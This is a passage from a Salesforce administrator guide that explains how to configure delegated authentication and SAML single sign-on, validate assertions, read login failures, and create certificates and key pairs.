Sample SOAP Message for Delegated Authentication


As part of the delegated authentication single sign-on process, a salesforce.com server makes a SOAP 1.1 request to authenticate
the user who is passing in the credentials. Here is an example of this type of request. Your single sign-on Web service needs
to accept this request, process it, and return a true or false response.
Sample Request

<?xml version="1.0" encoding="UTF-8" ?>


<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<Authenticate xmlns="urn:authentication.soap.sforce.com">
<username>sampleuser@sample.org</username>
<password>myPassword99</password>
<sourceIp>1.2.3.4</sourceIp>
</Authenticate>
</soapenv:Body>
</soapenv:Envelope>

556
Security and Sharing Working With Your Identity Provider

Sample Response Message

<?xml version="1.0" encoding="UTF-8"?>


<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<AuthenticateResult
xmlns="urn:authentication.soap.sforce.com">
<Authenticated>false</Authenticated>
</AuthenticateResult>
</soapenv:Body>
</soapenv:Envelope>

Identity Provider Values


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Before you can configure Salesforce.com for SAML, you must receive information from your identity provider. This information
must be used on the single sign-on page.
The following information may be useful for your identity provider.

Field Description
SAML Version The version of SAML your identity provider uses. Salesforce.com currently supports version
1.1 and 2.0. The SAML specifications for the various versions are linked below:
• SAML 1.1
• SAML 2.0

Issuer The Entity ID—a URL that uniquely identifies your SAML identity provider. SAML
assertions sent to Salesforce.com must match this value exactly in the <saml:Issuer>
attribute of SAML assertions.
Entity ID The issuer in SAML requests generated by Salesforce.com, and is also the expected audience
of any inbound SAML Responses. This value is always https://saml.salesforce.com.
Identity Provider The authentication certificate issued by your identity provider.
Certificate

557
Security and Sharing Working With Your Identity Provider

Field Description
SAML User ID Type The element in a SAML assertion that contains the string that identifies a Salesforce.com
user. Values are:
Assertion contains User's Salesforce username
Use this option if your identity provider passes the Salesforce.com username in SAML
assertions.
Assertion contains the Federation ID from the User object
Use this option if your identity provider passes an external user identifier, for example
an employee ID, in the SAML assertion to identify the user.

SAML User ID Location The location in the assertion where a user should be identified. Values are:

User ID is in the NameIdentifier element of the Subject statement


The Salesforce.com Username or FederationIdentifier is located in the
<Subject> statement of the assertion.

User ID is in an Attribute element


The Salesforce.com Username or FederationIdentifier is specified in an
<AttributeValue>, located in the <Attribute> of the assertion.

Attribute Name If “User ID is in an Attribute element” is selected, this contains the value of the
AttributeName that is specified in <Attribute> that contains the User ID.

Attribute URI If SAML 1.1 is the specified SAML version and “User ID is in an Attribute
element” is selected, this contains the value of the AttributeNamespace that is specified
in <Attribute>.
Name ID Format If SAML 2.0 is the specified SAML version and “User ID is in an Attribute
element” is selected, this contains the value for the nameid-format. Possible values include
unspecified, emailAddress or persistent. All legal values can be found in the “Name
Identifier Format Identifiers” section of the Assertions and Protocols SAML 2.0 specification.

Start, Login and Logout URL Values


In addition to the information used during the single sign-on, the identity provider also sets the start, login, and logout pages.
The following information may be useful to your identity provider when setting these pages.
The SAML specification supports an HTML form that is used to pass the SAML assertion via HTTPS POST.
For SAML 1.1, the SAML identity provider can embed name-value pairs in the TARGET field to pass this additional information
to Salesforce.com prepended with a specially formatted URL that contains URL-encoded parameters.
The URL for SAML 1.1 to include in the TARGET field is as follows: https://saml.salesforce.com/?
For SAML 2.0, instead of using the TARGET field, the identity providers uses the <AttributeStatement> in the SAML
assertion to specify the additional information.
Salesforce.com supports the following parameters:
Note: For SAML 1.1 these parameters must be URL-encoded. This allows the URLs, passed as values that include
their own parameters, to be handled correctly. For SAML 2.0, these parameters are part of the
<AttributeStatement>.

558
Security and Sharing Configuring SAML Settings for Single Sign-On

• ssoStartPage is the page to which the user should be redirected when trying to log in with SAML. The user is directed
to this page when requesting a protected resource in Salesforce.com, without an active session. The ssoStartPage should
be the SAML identity provider's login page.
• startURL is the URL where you want the user to be directed when sign-on completes successfully. This URL can be
absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This parameter is only
used in SAML 1.1. In SAML 2.0, the start URL is the page the user attempted to access before they were authenticated.
• logoutURL is the URL where you want the user to be directed when they click the Logout link in Salesforce.com. The
default is http://www.salesforce.com.
The following sample TARGET field is for SAML 1.1, and includes properly-encoded parameters. It passes a customized start
page, as well as start and logout URLs embedded as parameter values in the query string.
https://saml.salesforce.com/?ssoStartPage=https%3A%2F
%2Fwww.customer.org%2Flogin%2F&startURL=%2F001%2Fo&logoutURL=http%3A%2F%2Fwww.salesforce.com
The following is an example of an <AttributeStatement> for SAML 2.0 that contains both ssoStartPage and
logoutURL:

<saml:AttributeStatement>
<saml:Attribute Name="ssoStartPage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">
http://www.customer.org
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logoutURL"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
https://www.salesforce.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

Configuring SAML Settings for Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

To configure SAML settings for single sign-on from your corporate identity provider to Salesforce.com:

559
Security and Sharing Configuring SAML Settings for Single Sign-On

1. Gather information from your identity provider.


2. Provide information to your identity provider.
3. In Salesforce.com, navigate to Setup ➤ Security Controls ➤ Single Sign-On Settings, and click Edit.
4. Select SAML Enabled. You must enable SAML to view the SAML single sign-on settings.
5. Specify the SAML version used by your identity provider.
6. Enter the Issuer. This is often referred to as the entity ID for the identity provider.
7. For the Identity Provider Certificate, use the Browse button to locate and upload the authentication certificate
issued by your identity provider.
8. For the Custom Error URL, specify the URL of the page users should be directed to if there's an error during SAML
login. It must be a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative.
9. For the SAML User ID Type, SAML User ID Location, and other values as appropriate, specify the value provided
by your identity provider.
10. Click Save.

If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to send them the downloaded XML file, which they can then upload to automatically configure their settings for
connecting to your Salesforce.com organization.
After you have configured and saved your SAML settings, test them by trying to access the identity provider's application.
Your identity provider directs the user's browser to POST a form containing SAML assertions to the Salesforce.com login
page. Each assertion is verified, and if successful, single sign-on is allowed.
If you have difficulty signing on using single sign-on after you have configured and saved your SAML settings, use the SAML
Assertion Validator. You may have to obtain a SAML assertion from your identity provider first.
If your users are having problems using SAML to login, you can review the SAML login history to determine why they were
not able to log in and share that information with your identity provider.

See Also:
About Single Sign-On
Best Practices for Implementing Single Sign-On
Viewing Single Sign-on Settings
Validating SAML Settings for Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide

560
Security and Sharing Viewing Single Sign-on Settings

Viewing Single Sign-on Settings


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

After you have configured your Salesforce.com organization to use SAML, you can view the single sign-on settings. Click
Setup ➤ Security Controls ➤ Single Sign-on Settings.
This page lists the details of your SAML configuration. Most of these fields are the same as the fields on the page where you
configured SAML. The following fields contain information automatically generated by completing the configuration. The
available fields depend on your configuration.

Field Description
Salesforce.com Login If you select “Assertion contains User's Salesforce username” for SAML User ID Type and
URL “User ID is in the NameIdentifier element of the Subject statement” for SAML User ID
Location, this URL is of the form https://login.salesforce.com or for sandbox,
https://test.salesforce.com. For all other selections, a similar URL is displayed; it
is appended with additional encrypted material.
Salesforce.com Logout Displays the Salesforce.com logout URL that the user is directed to after he or she logs off.
URL This URL is only used if no value is specified for Identity Provider Logout URL.

From this page you can do any of the following:

• Click Edit to change the existing SAML configuration.


• Click SAML Assertion Validator to validate the SAML settings for your organization using a SAML assertion provided
by your identity provider.

561
Security and Sharing Validating SAML Settings for Single Sign-On

• If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to send them the downloaded XML file, which they can then upload to automatically configure their settings
for connecting to your Salesforce.com organization.

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Viewing Single Sign-on Settings
Validating SAML Settings for Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

Validating SAML Settings for Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

If your users have difficulty logging into Salesforce.com after you configure Salesforce.com for single sign-on, use the SAML
Assertion Validator and the login history to validate the SAML assertions sent by your identity provider.

1. Obtain a SAML assertion from your identity provider. The assertion can be either in plain XML format or a base64
encoded.
If a user tries to log in to Salesforce.com and fails, the invalid SAML assertion is used to automatically populate the SAML
Assertion Validator if possible.
2. Click Setup ➤ Security Controls ➤ Single Sign-On Settings, then click SAML Assertion Validator.
3. Enter the SAML assertion into the text box, and click Validate.

562
Security and Sharing Validating SAML Settings for Single Sign-On

4. Share the results of the validation errors with your identity provider.

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide

SAML Assertion Validation Errors


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Salesforce.com imposes the following validity requirements on assertions:


Authentication Statement
The identity provider must include an <AuthenticationStatement> in the assertion.

Conditions Statement
If the assertion contains a <Conditions> statement, it must contain a valid timestamp.

Timestamps
The validity period specified in an assertion is honored. In addition, an assertion's timestamp must be less than five
minutes old, plus or minus three minutes, regardless of the assertion's validity period setting. This allows for differences
between machines. The NotBefore and NotOnOrAfter constraints must also be defined and valid.

Attribute
If your Salesforce.com configuration is set to User ID is in an Attribute element, the assertion from the
identity provider must contain an <AttributeStatement>.
If you are using SAML 1.1, both <AttributeName> and <AttributeNamespace> are required as part of the
<AttributeStatement>.

If you are using SAML 2.0, only <AttributeName> is required.

563
Security and Sharing Validating SAML Settings for Single Sign-On

Format
The Format attribute of an <Issuer> statement must be set to
"urn:oasis:names:tc:SAML:2.0:nameid-format:entity" or not set at all.

For example:

<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://www.salesforce.com</saml:Issuer>

The following example is also valid:

<saml:Issuer >https://www.salesforce.com</saml:Issuer>

Issuer
The issuer specified in an assertion must match the issuer specified in Salesforce.com.

Subject
The subject of the assertion must be resolved to be either the Salesforce.com username or the Federation ID of the user.

Audience
The <Audience> value is required and must be https://saml.salesforce.com.

Recipient
The recipient specified in an assertion must match the Salesforce.com login URL specified in the Salesforce.com
configuration. This is a required portion of the assertion and is always verified.

Signature
A valid signature must be included in the assertion. The signature must be created using the private key associated with
the certificate that was provided in the SAML configuration.

Recipient
Verifies that the recipient and organization ID received in the assertion matches the expected recipient and organization
ID, as specified in the single sign-on configuration. This is an optional portion of the assertion and is only verified if it's
present. For example:

Recipient that we found in the assertion: http://aalbert-salesforce.com:8081/


?saml=02HKiPoin4zeKLPYxfj3twkPsNSJF3fxsH0Jnq4vVeQr3xNkIWmZC_IVk3
Recipient that we expected based on the Single Sign-On Settings page:
http://asmith.salesforce.com:8081/
?saml=EK03Almz90Cik_ig0L97.0BRme6mT4o6nzi0t_JROL6HLbdR1WVP5aQO5w
Organization Id that we expected: 00Dx0000000BQlI
Organization Id that we found based on your assertion: 00D000000000062

Site URL Attribute


Verifies if a valid Sites URL is provided. Values are:

• Not Provided
• Checked
• Site URL is invalid

564
Security and Sharing Reviewing the SAML Login History

• HTTPS is required for Site URL


• The specified Site is inactive or has exceeded its page limit

Reviewing the SAML Login History


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

When a user logs in to Salesforce.com from another application using single sign-on, SAML assertions are sent to the
Salesforce.com login page. The assertions are checked against assertions in the authentication certificate specified in Setup
➤ Security Controls ➤ Single Sign-On Settings. If a user fails to log in, a message is written to the login history log that
indicates why the login failed. In addition, the SAML Assertion Validator may be automatically populated with the invalid
assertion.
To view the login history, click Setup ➤ Users ➤ Login History. After viewing the login history you may want to share the
information with your identity provider.
The following are the possible failures:
Assertion Expired
An assertion's timestamp is more than five minutes old.
Note: Salesforce.com does make an allowance of three minutes for clock skew. This means, in practice, that an
assertion can be as much as eight minutes passed the timestamp time, or three minutes before it. This amount
of time may be less if the assertion's validity period is less than five minutes.

Assertion Invalid
An assertion is not valid. For example, the <Subject> element of an assertion might be missing.

Audience Invalid
The value specified in <Audience> must be https://saml.salesforce.com

Configuration Error/Perm Disabled


Something is wrong with the SAML configuration in Salesforce.com. For example, the uploaded certificate might be
corrupted, or the organization preference might have been turned off. Check your configuration in Setup ➤ Security
Controls ➤ Single Sign-On Settings, get a sample SAML assertion from your identity provider, and click SAML
Assertion Validator.

565
Security and Sharing Best Practices for Implementing Single Sign-On

Issuer Mismatched
The issuer or entity ID specified in an assertion does not match the issuer specified in your Salesforce.com configuration.

Recipient Mismatched
The recipient specified in an assertion does not match the recipient specified in your Salesforce.com configuration.

Replay Detected
The same assertion ID was used more than once. Assertion IDs must be unique within an organization.

Signature Invalid
The signature in an assertion cannot be validated by the certificate in your Salesforce.com configuration.

Subject Confirmation Error


The <Subject> specified in the assertion does not match the SAML configuration in Salesforce.com.

Best Practices for Implementing Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Salesforce.com offers the following ways to use single sign-on:

• Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is
enabled, salesforce.com does not validate a user's password. Instead, salesforce.com verifies an assertion in the HTTP
POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated
authentication is available in all Editions.
• Delegated authentication: When delegated authentication is enabled, salesforce.com does not validate a user's password.
Instead, salesforce.com makes a Web services call to your organization to establish authentication credentials for the user.
You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization..

In addition, you can also configure SAML for use with portals as well as for Sites.

Delegated Authentication Best Practices


Consider the following best practices when implementing delegated authentication single sign-on for your organization.
• Your organization’s implementation of the Web service must be accessible by salesforce.com servers. This means you must
deploy the Web service on a server in your DMZ. Remember to use your server’s external DNS name when entering the

566
Security and Sharing Best Practices for Implementing Single Sign-On

Delegated Gateway URL in the Delegated authentication section at Setup ➤ Security Controls ➤ Single Sign-On
Settings in Salesforce.com.
• If salesforce.com and your system cannot connect, or the request takes longer than 10 seconds to process, the login attempt
fails. An error is reported to the user indicating that his or her corporate authentication service is down.
• Namespaces, element names, and capitalization must be exact in SOAP requests. Wherever possible, generate your server
stub from the WSDL to ensure accuracy.
• For security reasons, you should make your Web service available by SSL only. You must use an SSL certificate from a
trusted provider, such as Verisign or Thawte. For a full list of trusted providers, contact salesforce.com.
• The IP address that originated the login request is sourceIp. Use this information to restrict access based on the user’s
location. Note that the Salesforce.com feature that validates login IP ranges continues to be in effect for single sign-on
users. For more information, see Restricting Login IP Ranges on Profiles on page 474.
• You may need to map your organization’s internal usernames and Salesforce.com usernames. If your organization does not
follow a standard mapping, you may be able to extend your user database schema (for example, Active Directory) to include
the Salesforce.com username as an attribute of a user account. Your authentication service can then use this attribute to
map back to a user account.
• We recommend that you do not enable single sign-on for the system administrator’s profile. If your system administrators
are single sign-on users and your single sign-on server has an outage, they have no way to log in to Salesforce.com. System
administrators should always be able to log in to Salesforce.com so they can disable single sign-on in the event of a problem.
• We recommend that you use a Developer Edition account or a sandbox when developing a single sign-on solution before
implementing it in your organization. To sign up for a free Developer Edition account, go to developer.force.com.
• Make sure to test your implementation with Salesforce.com clients such as Connect for Outlook, Connect for Office, and
Connect Offline. For more information, see Single Sign-On for Salesforce.com clients.

Federated Authentication using SAML Best Practices


Consider the following best practices when implementing federated single sign-on with SAML for your organization.
• Obtain the Recipient URL value from the configuration page and put it in the corresponding configuration parameter of
your Identity Provider.
• Your identity provider must allow you to set the Service Provider's Audience URL, and it must be set to
https://saml.salesforce.com.
• Salesforce.com allows a maximum of three minutes for clock skew with your IDP server, make sure your server's clock is
up-to-date.
• If you are unable to log in with SAML assertion, always check the login history and note the error message.
• You need to map your organization’s internal usernames and Salesforce.com usernames. You have two choices to do this:
add a unique identifier to the FederationIdentifier field of each Salesforce.com user, or extend your user database
schema (for example, Active Directory) to include the Salesforce.com username as an attribute of a user account. Choose
the corresponding option for the SAML User ID Type field and configure your authentication service to send the identifier
in SAML assertions.
• Before allowing users to log in with SAML assertions, enable the SAML organization preference and provide all the
necessary configurations.
• We recommend that you use Developer Edition account or a sandbox when testing a SAML single sign-on solution. To
sign up for a free Developer Edition account, go to developer.force.com.
• All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved,
except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated
to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML
in the sandbox copy, click Setup ➤ Security Controls ➤ Single Sign-On Settings; then click Edit, and select SAML
Enabled.

Single Sign-On for Portals Best Practices


• Only SAML version 2.0 can be used with portals.

567
Security and Sharing Enabling Single Sign-On for Portals

• Only Customer Portals and partner portals are supported.


• Service provider initiated login is not supported.
• Both the portal_id and organization_id attributes are required for single sign-on for portals. If only one is specified,
the user receives an error.
• If both the portal_id and organization_id attributes are populated in the SAML assertion, the user is directed to
that portal login. If neither is populated, the user is directed to the regular SAML Salesforce.com login.
• More than one portal can be used with a single organization.

Single Sign-On for Sites Best Practices


• Only SAML version 2.0 can be used with Sites.
• Only Customer Portals and partner portals are supported.
• Service provider initiated login is not supported.
• The portal_id, organization_id and siteUrl attributes are required for single sign-on for Sites. If only one is
specified, the user receives an error.
• If all three of the portal_id, organization_id and siteUrl attributes are populated in the SAML assertion, the
user is directed to that Sites login. If the siteUrl isn't populated and the other two are, the user is directed to that portal
login.
• More than one portal can be used with a single organization.

See Also:
About Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

Enabling Single Sign-On for Portals


Customer Portal is available in: Enterprise, Unlimited, and Developer Editions
Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.com.
You can set up Customer Portals and partner portals to use SAML single sign-on, so that a customer only has to login once.
To enable single sign-on for portals:

568
Security and Sharing Enabling Single Sign-On for Sites

1. In addition to the SAML sign-on information that must be gathered and shared with your identity provider, you must
supply your information provider with the Organization ID and the Portal ID. In the SAML assertion that is sent from
your identity provider, the portal_id and organization_id must be added as attributes.

a. Click Setup ➤ Company Profile ➤ Company Information and copy the ID located in the Salesforce.com
Organization ID.
b. For Customer Portals, click Setup ➤ Customize ➤ Customer Portal ➤ Settings, click the name of the Customer
Portal, and copy the ID located in the Portal ID.
For partner portals, click Setup ➤ Customize ➤ Partners ➤ Settings, click the name of the partner portal, and copy
the ID located in the salesforce.com Portal ID.

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Partner Portal Overview
Setting Up Your Customer Portal

Enabling Single Sign-On for Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Note: SAML for Sites is not available until after June 16th, 2010.

Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.com.
You can set up Sites to use SAML single sign-on, so that a customer only has to login once.
To enable single sign-on for Sites using an identity provider:

1. Set up either a Customer Portal or a partner portal.


2. Set up your Sites.
3. If you are using the Customer Portal, set up your Sites to use Customer Portal.
4. In addition to the SAML sign-on information that must be gathered and shared with your identity provider, you must
supply your information provider with the following:

• Organization ID

569
Security and Sharing Enabling Single Sign-On for Sites

• Portal ID
• Sites URL

The following must be added as attributes to the SAML assertion sent from your identity provider:

• organization_id
• portal_id
• siteurl

To find these values:

a. Click Setup ➤ Company Profile ➤ Company Information and copy the ID located in the Salesforce.com
Organization ID.
b. For the Customer Portal, click Setup ➤ Customize ➤ Customer Portal ➤ Settings, click the name of the Customer
Portal, and copy the ID located in the Portal ID.
For partner portals, click Setup ➤ Customize ➤ Partners ➤ Settings, click the name of the partner portal, and copy
the ID located in the salesforce.com Portal ID.
c. Click Setup ➤ Develop ➤ Sites, click the name of the Site, then copy the URL either located in the Default Web
Address, the Secure Web Address, or the Custom Web Address, depending on which one you want your users
to use when logging into Salesforce.com.

Service Provider Initiated SAML for Sites


Salesforce.com automatically provides single sign-on for Sites using SAML for when your company's identity provider initiates
login.
If you wanted to use SAML for Sites for when a service provider initiates sign-on, you must first create a Visualforce page
that provides a redirect to your server. The following is an example:

<apex:page showHeader="false" sidebar="false">


<script>
var PingSpURL =
"https://my.pingserver.com:9031/idp/startSSO.ping?PartnerSpId=salesforce.com.sp";
var siteLoginPage =
"&TargetResource={!$Site.CurrentSiteUrl}siteLogin?startUrl={!$Site.OriginalUrl}";
window.location = PingSpURL+siteLoginPage;
</script>
</apex:page>

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Sites Overview
Partner Portal Overview
Setting Up Your Customer Portal

570
Security and Sharing Understanding Delegated Authentication Single Sign-On

Understanding Delegated Authentication Single Sign-On


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Salesforce.com uses the following process for authenticating users using delegated authentication single sign-on:

1. When a user tries to log in—either online or using the API—Salesforce.com validates the username and checks the user’s
profile settings.
2. If the user’s profile has the Is Single Sign-On Enabled user permission, then Salesforce.com does not validate the
username and password. Instead, a Web services call is made to the user’s organization, asking it to validate the username
and password.
Note: System administrators should have single sign-on disabled. If your system administrators were single sign-on
users and your single sign-on server had an outage, the administrators would have no way to log in to Salesforce.com.
System administrators should always be able to log in to Salesforce.com so that they can disable single sign-on in
the event of a problem. All users, except those with the “System Administrator” profile, have delegated authentication
enabled by default in Professional Edition.

3. The Web services call passes the username, password, and sourceIp to your Web service. (sourceIp is the IP address
that originated the login request. You must create and deploy an implementation of the Web service that can be accessed
by salesforce.com servers.)
4. Your implementation of the Web service validates the passed information and returns either true or false.
5. If the response is true, then the login process continues, a new session is generated, and the user proceeds to the application.
If false is returned, then the user is informed that his or her username and password combination is invalid.

See Also:
Configuring Salesforce.com for Delegated Authentication
Example SAML Assertions
About Single Sign-On
Best Practices for Implementing Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

571
Security and Sharing Understanding Delegated Authentication Single Sign-On

Configuring Salesforce.com for Delegated Authentication


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

To enable delegated authentication single sign-on for your organization:

1. Contact salesforce.com to enable delegated authentication single sign-on for your organization.
2. Build your single sign-on Web service:

a. In Salesforce.com, download the Web Services Description Language (WSDL) file, AuthenticationService.wsdl,
by clicking Setup ➤ Develop ➤ API ➤ Download Delegated Authentication WSDL. The WSDL describes the
delegated authentication single sign-on service and can be used to automatically generate a server-side stub to which
you can add your specific implementation. For example, in the WSDL2Java tool from Apache Axis, you can use the
--server-side switch. In the wsdl.exe tool from .NET, you can use the /server switch.

For a sample request and response, see Sample SOAP Message for Delegated Authentication on page 556.
b. Add a link to your corporate intranet or other internally-accessible site that takes the authenticated user’s credentials
and passes them through an HTTP POST to the Salesforce.com login page.
Because Salesforce.com does not use the password field other than to pass it back to you, you do not need to send a
password in this field. Instead, you could pass another authentication token, such as a Kerberos Ticket so that your
actual corporate passwords are not passed to or from Salesforce.com.
You can configure the Salesforce.com delegated authentication authority to allow only tokens or to accept either tokens
or passwords. If the authority only accepts tokens, a Salesforce.com user cannot log in to Salesforce.com directly, because
they cannot create a valid token. However, many companies choose to allow both tokens and passwords. In this
environment, a user could still log in to Salesforce.com through the login page.
When the salesforce.com server passes these credentials back to you in the Authenticate message, verify them, and
the user will gain access to the application.

3. In Salesforce.com, specify your organization’s single sign-on gateway URL by clicking Setup ➤ Security Controls ➤
Single Sign-On Settings ➤ Edit. Enter the URL in the Delegated Gateway URL text box.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:

• 80: This port only accepts HTTP connections.


• 443: This port only accepts HTTPS connections.
• 7000-10000 (inclusive): These ports accept HTTP or HTTPS connections.

572
Security and Sharing About Salesforce.com Certificates and Keys

4. Modify your user profiles to enable the Is Single Sign-On Enabled user permission. In Salesforce.com, click Setup
➤ Manage Users ➤ Profiles to add or edit profiles.

Important: If single sign-on is enabled for your organization, API and desktop client users cannot log in to
Salesforce.com unless their IP address is included on your organization's list of trusted IP addresses or on their profile,
if their profile has IP address restrictions set. Futhermore, the single sign-on authority usually handles login lockout
policies for users with the “Is Single Sign-On Enabled” permission. However, if the security token is enabled for your
organization, then your organization's login lockout settings determine the number of times a user can attempt to
log in with an invalid security token before being locked out of Salesforce.com. For more information, see Setting
Login Restrictions on page 472. For information on how to view login errors, see Viewing Single Sign-On Login
Errors on page 506.

See Also:
Understanding Delegated Authentication Single Sign-On
About Single Sign-On
Example SAML Assertions

KEY PAIRS

About Salesforce.com Certificates and Keys


Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates and keys: “Customize Application”

Salesforce.com certificates and key pairs encrypt sensitive data whenever Salesforce.com communicates with an external website.
You only need to generate a Salesforce.com certificate and key pair if you're working with an external website that wants
verification that a request is coming from a Salesforce.com organization.
Salesforce.com offers two types of certificates: self-signed and CA-signed.
Self-signed
A self-signed certificate is signed by Salesforce.com. Not all external websites accept self-signed certificates.

CA-signed
A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed
certificates. You have to first generate the certificate signing request to send to a CA, and then import the signed version
of the certificate before you can use that certificate.

573
Security and Sharing Creating Salesforce.com Certificates and Key Pairs

To work with Salesforce.com certificates and keys, click Setup ➤ Security Controls ➤ Certificate and Key Pair Management.
From the Certificate and Key Management page, you can:

• Click Create Self-Signed Certificate to create a new self-signed Salesforce.com certificate.


• Click Create CA-Signed Certificate to start the process of creating a CA-signed certificate.
Note: After you create a CA-signed certificate and certificate request, the certificate is not Active and you can't
use it until it's been signed by a certificate authority and uploaded into your organization.

• Click Edit to edit a certificate, or Del to delete a certificate.


Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

• View the number of your certificates. You can have a maximum of 50 certificates.

Note: Client authentication certificates should only be used with workflow outbound messaging. Generally, use
Salesforce.com certificates and keys for all your certificates.

See Also:
Creating Salesforce.com Certificates and Key Pairs
Editing Salesforce.com Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates

Creating Salesforce.com Certificates and Key Pairs


Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates and keys: “Customize Application”

Salesforce.com offers two types of certificates: self-signed and CA-signed.


Self-signed
A self-signed certificate is signed by Salesforce.com. Not all external websites accept self-signed certificates.

CA-signed
A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed
certificates. You have to first generate the certificate signing request to send to a CA, and then import the signed version
of the certificate before you can use that certificate.

To create a Salesforce.com certificate:

574
Security and Sharing Creating Salesforce.com Certificates and Key Pairs

1. Decide which type of certificate to create based on whether your external website accepts self-signed certificates, or if it
requires CA-signed. You can't change the type of a certificate after you've created it.
2. Click Setup ➤ Security Controls ➤ Certificate and Key Management, then click either Create Self-Signed Certificate
or Create CA-Signed Certificate. This selects the type of certificate, and cannot be changed later.
3. Enter a descriptive label for the Salesforce.com certificate. This name is used primarily by administrators when viewing
certificates.
4. Enter the Unique Name. This name is automatically populated based on the certificate label you enter. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the Unique
Name when referring to the certificate using the Force.com Web services API or Apex.
5. Select a Key Size for your generated certificate and keys. Selecting 2048 (the default) generates a certificate using 2048-bit
keys and is valid for two years. Selecting 1024 generates a certificate using 1024-bit keys and is valid for one year.
Salesforce.com recommends that you specify 2048 for security reasons.
Note: Once you save a Salesforce.com certificate, you can't change the key size.

6. If you're creating a CA-signed certificate, you must also enter the following information. These fields are joined together
to generate a unique certificate.

Field Description
Common Name The fully qualified domain name of the company requesting
the signed certificate. This is generally of the form:
http://www.mycompany.com.

Email Address The email address associated with this certificate.


Company Either the legal name of your company, or your legal name.
Department The branch of your company using the certificate, such as
marketing, accounting, and so on.
City The city where the company resides.
State The state where the company resides.
Country Code A two-letter code indicating the country where the company
resides. For the United States, the value is US.

7. Click Save.

